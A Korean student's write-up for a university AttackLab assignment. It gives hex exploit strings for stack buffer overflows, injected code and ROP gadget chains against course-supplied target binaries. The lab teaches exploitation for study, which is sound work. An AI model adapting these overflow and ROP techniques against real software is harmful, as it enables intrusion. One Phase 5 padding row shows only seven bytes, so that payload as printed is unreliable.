CSED211: AttackLab Report

20240832 / 채승현

target ID : 11

0. Pre-analysis

```
(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x00000000004017d9 <+0>:     sub    $0x38,%rsp
   0x00000000004017dd <+4>:     mov    %rsp,%rdi
   0x00000000004017e0 <+7>:     callq  0x401a1a <Gets>
   0x00000000004017e5 <+12>:    mov    $0x1,%eax
   0x00000000004017ea <+17>:    add    $0x38,%rsp
   0x00000000004017ee <+21>:    retq
```

ctarget에서의 getbuf 함수를 gdb를 이용해 disassemble하여 buffer size를 확인해본 결과 0x38, 즉 56 byte임을 알 수 있었다. 또한 writeup을 확인해보면, ctarget과 rtarget은 모두 동일하지만 rtarget에서는 ASLR(Adress Space Layout Randomization), stack의 메모리를 nonexecutable하게 하여 ROP를 사용해야만 함을 알 수 있다.

편의를 위해 ctarget과 rtarget을 전부 disassemble한 것을 txt파일로 변환하여 각각 ctarget-disas.txt, rtarget-disas.txt로 저장해주었다. (objdump -d ctarget > ctarget_disas.txt 및 objdump -d rtarget > rtarget_disas.txt 사용)

마지막으로 cookie.txt 파일을 통해 cookie값이 0x648e8cd0임을 확인할 수 있었다.

1. Phase 1

```
00000000004017ef <touch1>:
  4017ef: 48 83 ec 08           sub    $0x8,%rsp
  4017f3: c7 05 ff 2c 20 00 01  movl   $0x1,0x202cff(%rip)        # 6044fc <vlevel>
  4017fa: 00 00 00
  4017fd: bf 60 2f 40 00        mov    $0x402f60,%edi
  401802: e8 49 f4 ff ff        callq  400c50 <puts@plt>
  401807: bf 01 00 00 00        mov    $0x1,%edi
  40180c: e8 f8 03 00 00        callq  401c09 <validate>
  401811: bf 00 00 00 00        mov    $0x0,%edi
  401816: e8 d5 f5 ff ff        callq  400df0 <exit@plt>
```

phase 1은 getbuf의 buffer를 overflow하여 return address를 touch1로 변경하면 된다. 즉, touch1을 실행하기만 하면 된다. ctarget-disas.txt에서 touch1의 주소를 확인한 결과 00000000004017ef이었고, 이를 little endian으로 표기하면 ef 17 40 00 00 00 00 00이다. 앞선 Pre-analysis에서 getbuf의 buffer size가 56 byte임을 알아냈기 때문에, 56 byte를 00으로 패딩하고 이후 touch 1의 주소를 넣어주었다. 실제로 왼쪽의 exploit code를 통해 phase 1을 성공적으로 통과할 수 있었다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ef 17 40 00 00 00 00 00
```

2. Phase 2

phase 2는 touch2를 실행시키기만 하면 되는 것이 아니라, touch2 함수의 첫 번째 인자가 앞서 주어졌던 cookie 값과 같기까지 해야만 통과할 수 있다. 여기서 touch2 함수의 첫 번째 인자이기 때문에 touch2를 호출하기 전에 rdi 레지스터에 cookie의 값을 저장하면 될 것이다. 이를 위해, 먼저 왼쪽의 assembly 코드를 Appendix B를 참조해 byte sequence로 변환한 후 little endian으로 표기하면 정확히 8 byte인 48 c7 c7 d0

```
1       movq $0x648e8cd0, %rdi
2       ret
```

```
0000000000000000 <.text>:
   0:   48 c7 c7 d0 8c 8e 64    mov    $0x648e8cd0,%rdi
   7:   c3                      retq
```

8c 8e 64 c3으로 표현할 수 있다. 또한 gdb를 사용해 getbuf에 break point를 걸어주고 (br getbuf), ctarget을 실행하여 아무 값이나 입력해주면 break point에 걸려서 getbuf가 실행되기 직전에 멈추게 된다. 이때 stack pointer(rsp)는 우리가 건드리는 return address를 가리키고 있고, print $rsp를 통해 return address가 저장되어 있는 stack의 주소를 왼쪽과 같이 알아낼 수 있다.

```
Breakpoint 1, getbuf () at buf.c:12
12      in buf.c
(gdb) print $rsp
$1 = (void *) 0x556191c0
```

이제 입력할 문자열을 만들어보자. 먼저 56 byte를 00으로 패딩한다. 이후 return address를 해당 위치에서의 +16 byte (stack 기준), 즉 0x556191d0 (d0 91 61 55 00 00 00 00)로 설정한다. 이 위치에(입력할 문자열 기준 return address 시작 부분의 16 byte 아래) 우리가 직접 구현한 함수의 byte sequence를 넣는다면 이것이 호출되며 우리가 원하는 동작이(rdi 레지스터에 cookie값을 담기가) 수행될 것이다. 또한 이렇게 함수를 호출하며 stack pointer가 8 byte 만큼 위로 올라가게 되고, 함수가 끝나면 다시 stack pointer가 가리키는 주소(입력할 문자열 기준 return address 시작 부분의 8 byte 아래에 담긴 주소)도 또 다른 return address가 되며 그 주소에 있는 함수를 실행하게 된다. 따라서 해당 부분에 ctarget-disas.txt에서 확인한 touch2의 주소(000000000040181b, 1b 18 40 00 00 00 00 00)가 들어가면 된다.

```
000000000040181b <touch2>:
```

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
d0 91 61 55 00 00 00 00
1b 18 40 00 00 00 00 00
48 c7 c7 d0 8c 8e 64 c3
```

결론적으로 왼쪽의 문자열을 입력한다면, getbuf가 끝난 후 우리가 만든 함수를 통해 rdi 레지스터(즉, touch2에서의 val)에 cookie 값이 들어가게 되고, 이후 touch2를 호출하여 phase 2를 성공적으로 통과할 수 있다.

3. Phase 3

phase 3도 phase 2와 비슷한 방식으로 통과할 수 있다. phase 3는 touch3를 실행시켜야 하고, 이때 touch3 함수의 첫 번째 레지스터가 (rdi가) 가리키는 주소에 담긴 문자열이 cookie를 문자열로 나타낸 값과 같아야 통과할 수 있다. 이는 Writeup에 적혀져 있는 hexmatch, touch3 함수를 보고 알 수 있다. cookie를 문자열로 나타내면, 마지막 null 문자까지 포함하여 36 34 38 65 38 63 64 30 00라는 9 byte로 표현할 수 있다. 이는 1 byte가 char이 되기 때문이다. (0x는 16진수인 것을 나타낸 것이기에 제외) 또한 phase2의 형태에서 마지막에 cookie를 문자열로 나타낸 9 byte를 추가한다고 생각해보자. 그러면 우리는 return address의 16 byte 위에 (stack 기준) 우리가 마지막에 추가한 문자열의 시작 주소를(계산해보면 0x556191d8) rdi에 넣는 함수를 byte squence로 변환하여 넣어주면 될 것이다. 그 기능을 가진 함수를 assembly로 작성하면 왼쪽과 같고, 이를 Appendix B를 참조해 byte sequence로 변환후 little endian으로 나타내면 정확히 8 byte인 48 c7 c7 d8 91 61 55 c3으로 나타낼 수 있다. 마지막으로 ctarget-disas.txt에서 touch3의 주소를 확인하면 00000000004018ef 임을 알 수 있다.

```
1       movq $0x556191d8, %rdi
2       ret
```

```
0000000000000000 <.text>:
   0:   48 c7 c7 d8 91 61 55        mov    $0x556191d8,%rdi
   7:   c3                          retq
```

```
00000000004018ef <touch3>:
```

이제 입력할 문자열을 만들어보자. phase 2에서 사용한 문자열을 그대로 가져와 맨 마지막에 36 34 38 65 38 63 64 30 00 를 추가하고, 직접 만들었던 함수가 들어간 부분을 48 c7 c7 d8 91 61 55 c3 으로 바꾼다. 마지막으로 touch2의 주소가 들어가있던 부분에는 touch3의 주소(ef 18 40 00 00 00 00 00)가 들어가면 된다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
d0 91 61 55 00 00 00 00
ef 18 40 00 00 00 00 00
48 c7 c7 d8 91 61 55 c3
36 34 38 65 38 63 64 30 00
```

결론적으로 왼쪽의 문자열을 입력한다면, getbuf가 끝난 후 우리가 만든 함수를 통해 rdi 레지스터(즉, touch3에서의 sval)에 우리가 입력해 놓은 문자열로 바뀐 cookie가 있는 주소가 들어가게 되고, 이후 touch3를 호출하여 phase 3를 성공적으로 통과할 수 있다.

4. Phase 4

phase 4는 phase 2와 동일하게 touch2 함수를 실행하되, touch2의 첫 번째 인자가(rdi가) cookie 값과 같아야 한다. 하지만 phase 4는 rtarget에서 진행되기 때문에, ROP를 사용해야 한다. rtarget-disas.txt에서 start_farm부터 mid_farm까지 사용할 수 있어서 이 부분의 함수들의 byte squence를 확인해보았다. 우선 writeup의 힌트를 통해서 popq, movq를 이용해 rdi 레지스터에 cookie값을 넣으면 될 것이라고 짐작할 수 있었다. 이에 따라 나는 popq %rax와 movq rax, rdi를 찾을 수 있었다.

```
0000000000401997 <addval_283>:
  401997:8d 87 09 19 58 90              lea    -0x6fa7e6f7(%rdi),%eax
  40199d:c3                             retq
```

먼저 addval_283의 byte sequence를 살펴보면 58이 popq %rax이고, 뒤로 이어지는 byte sequence는 90 (nop)과 c3 (ret)밖에 없다. 이를 가젯으로 활용할 주소를 계산하면 0x401997 + 0x4 = 0x40199b 가 나오게 된다. 즉, 0x40199b는 popq %rax를 실행한 후 return하는 함수(gadget)가 되게 된다. 이를 little endian으로 표현하면 9b 19 40 00 00 00 00 00이고, 이를 gadget 1이라고 하자.

```
0000000000401989 <addval_289>:
  401989:8d 87 35 48 89 c7              lea    -0x3876b7cb(%rdi),%eax
  40198f: c3                            retq
```

다음으로 addval_289의 byte sequence를 살펴보면 48 89 c7이 movq rax, rdi 이고, 뒤로 이어지는 byte sequence는 c3 (ret)밖에 없다. 이를 gadget으로 활용할 주소를 계산하면 0x401989 + 0x3 = 0x40198c 가 나오게 된다. 즉, 0x40198c는 movq rax, rdi를 실행한 후 return하는 함수(gadget)가 되게 된다. 이를 little endian으로 표현하면 8c 19 40 00 00 00 00 00이고, 이를 gadget 2라고 하자.

rtarget-disas.txt에서 touch2의 주소를 찾아보면 ctarget에서와 완전히 일치함(즉, 000000000040181b)을 알 수 있다.

이제 입력할 문자열을 만들어보자. 먼저 56 byte를 00으로 패딩한다. 이후 gadget 1을 넣고 그 밑에 little endian으로 표현한 cookie 값(d0 8c 8e 64 00 00 00 00)을 넣는다. 이후 gadget 2를 넣고 마지막으로 touch2의 주소를 넣으면 된다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
9b 19 40 00 00 00 00 00
d0 8c 8e 64 00 00 00 00
8c 19 40 00 00 00 00 00
1b 18 40 00 00 00 00 00
```

결론적으로 왼쪽의 문자열을 입력한다면, getbuf가 끝난 후 gadget 1이 호출되어 popq %rax를 하게 되며 그 아래 있는 cookie값이 rax 레지스터에 들어가게 된다. 이후 gadget 2가 호출되며 movq rax, rdi를 하게 되어 rdi 레지스터에도 cookie 값이 들어간다. 마지막으로 touch2를 호출하여 phase 4를 성공적으로 통과할 수 있다.

5. Phase 5

```
movl
addval_289 (0x401989 + 0x4) : 89 c7 (eax -> edi)
setval_326 (0x4019c4 + 0x4) : 89 d1 (edx -> ecx)
addval_489 (0x401a09 + 0x2) : 89 c2 08 c0 (eax -> edx)
setval_321 (0x401a32 + 0x4) : 89 e0 (esp -> eax)
getval_340 (0x401a40 + 0x1) : 89 ce 20 d2 (ecx -> esi)

movq
addval_289 (0x401989 + 0x3) : 48 89 c7 (rax -> rdi)
addval_133 (0x401a39 + 0x3) : 48 89 e0 (rsp -> rax)

popq
addval_283 (0x401997 + 0x4) : 58 90 (rax)

add_xy (0x4019b8) : rdi + rsi -> rax
```

phase 5도 phase 3과 동일하지만, rtarget에서 진행되기 때문에 ROP를 사용해야 한다. rtarget-disas.txt에서 start_farm부터 end_farm까지 사용할 수 있어서 이 부분의 함수들의 byte sequence를 확인하여 보았다. 그 결과 (중복 제외) 왼쪽과 같은 movl, movq, popq를 사용할 수 있음을 확인하였다. 이는 writeup에서 nop인 것을 참고하여(08 c0 및 20 d2) 찾은 것이다. 또한 주어진 farm.c에 존재하는 함수 중에서 add_xy라는 함수가 첫 번째 인자(rdi)와 두 번째 인자(rsi)를 더하여 반환(rax에 담음)한다는 것을 확인할 수 있다.

rtarget-disas.txt에서 touch3의 주소를 찾아보면 ctarget에서와 완전히 일치함(즉, 00000000004018ef)을 알 수 있다.

먼저 나는 주어진 gadget 중 movq rsp rax에 주목하였다. 이를 통해 얻은 stack pointer(rsp)의 주소에 offset을 더한 주소가 문자열로 바뀌진 cookie를 가리키게 할 수 있을 것이라고 생각하였다. 이렇게 큰 틀을 만들고 나니, 주어진 gadget들만 사용하여 phase 5를 해결할 방법이 보이게 되었다.

```
popq rax
movl eax -> edx -> ecx -> esi

movq rsp -> rax -> rdi

add_xy (rdi + rsi -> rax)
rax -> rdi
```

우선 popq를 통해 임의의 offset을 rax에 넣고, 이를 여러 movl을 통해 rsi로 옮겨야 한다. (eax -> edx -> ecx -> esi) 여기서 offset이 4 byte 이내의 범위라면 정보의 손실 없이 우리가 원하는 온전한 값을 전달할 수 있을 것이다. 이때 rsi는 add_xy의 두 번째 인자로 들어가게 된다. 또한 stack pointer의 주소(rsp의 값)를 rax로 옮기고, movq를 통해 rdi로 옮긴다. 이때 rdi는 add_xy의 첫 번째 인자로 들어가게 된다. 이후 add_xy를 호출하면 stack pointer의 주소에 offset만큼 더한 주소가 rax에 담기게 된다. 마지막으로 rax에 담긴 값을 rdi로 옮겨준 후 touch3를 호출하면 된다. 여기서 rdi가 가리키는 주소에는 phase 3에서도 사용했던 문자열로 바뀌진 9 byte의 cookie (36 34 38 65 38 63 64 30 00)가 있어야 한다. 이를 입력할 문자열의 마지막에 넣고, offset을 잘 조절한다면 phase 5를 성공적으로 통과할 수 있을 것이다. 이에 따라 입력 문자열을 만들어 보자.

먼저 56 byte를 00으로 패딩한다. 이후 위에서 말한 방법에 따라 순서대로 gadget을 사용한다. 이를 알아보기 쉽도록 위에서 작성된 것처럼 줄 바꿈을 통해 3개로 분리하여 작성하였다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

9b 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
0b 1a 40 00 00 00 00 00
c8 19 40 00 00 00 00 00
41 1a 40 00 00 00 00 00

3c 1a 40 00 00 00 00 00
8c 19 40 00 00 00 00 00

b8 19 40 00 00 00 00 00
8c 19 40 00 00 00 00 00

ef 18 40 00 00 00 00 00
36 34 38 65 38 63 64 30 00
```

첫 번째 부분은 offset 값을 rsi에 옮기는 과정이다. 먼저 popq rax (0x40199b)를 통해 그 밑 줄의 값(offset)을 rax에 넣는다. 이후 순서대로 movl eax, edx (0x401a0b), movl edx, ecx (0x4019c8), movl ecx, esi (0x401a41)를 통하여 offset을 rsi로 (esi는 rsi의 하위 4 byte) 옮긴다.

두 번째 부분은 stack pointer의 주소를 rdi로 옮기는 과정이다. 이는 순서대로 movq rsp, rax (0x401a3c), movq rax, rdi (0x40198c)를 통해 구현할 수 있다.

세 번째 부분은 stack pointer의 주소에 offset만큼 더한 값을 rdi에 옮기는 과정이다. 먼저 add_xy (0x4019b8)를 통해 rdi (예전 stack pointer의 주소)와 rsi (offset)을 더한 값을 rax에 담는다. 이후 movq rax, rdi (0x40198c)를 통해 그 값을 rdi에 담는다.

이후로는 touch3의 주소와 문자열로 바꿔진 9 byte의 cookie를 넣으면 된다. 마지막으로 입력되어야 하는 offset의 값을 계산해보자. movq rsp, rax를 실행할 때 stack pointer는 그 다음 줄을 가리키고 있고, 그 줄을 기준으로 4줄 밑이 문자열로 바꿔진 cookie의 시작 부분이다. 맨 마지막 줄을 제외하면 한 줄당 8 byte를 표현하고 있으므로, offset이 10진법 기준 32가 되면 된다. 이를 16진법으로 바꾸면 20이다. 따라서 왼쪽에서 살펴본 문자열을 입력하면 phase 5를 성공적으로 통과할 수 있다.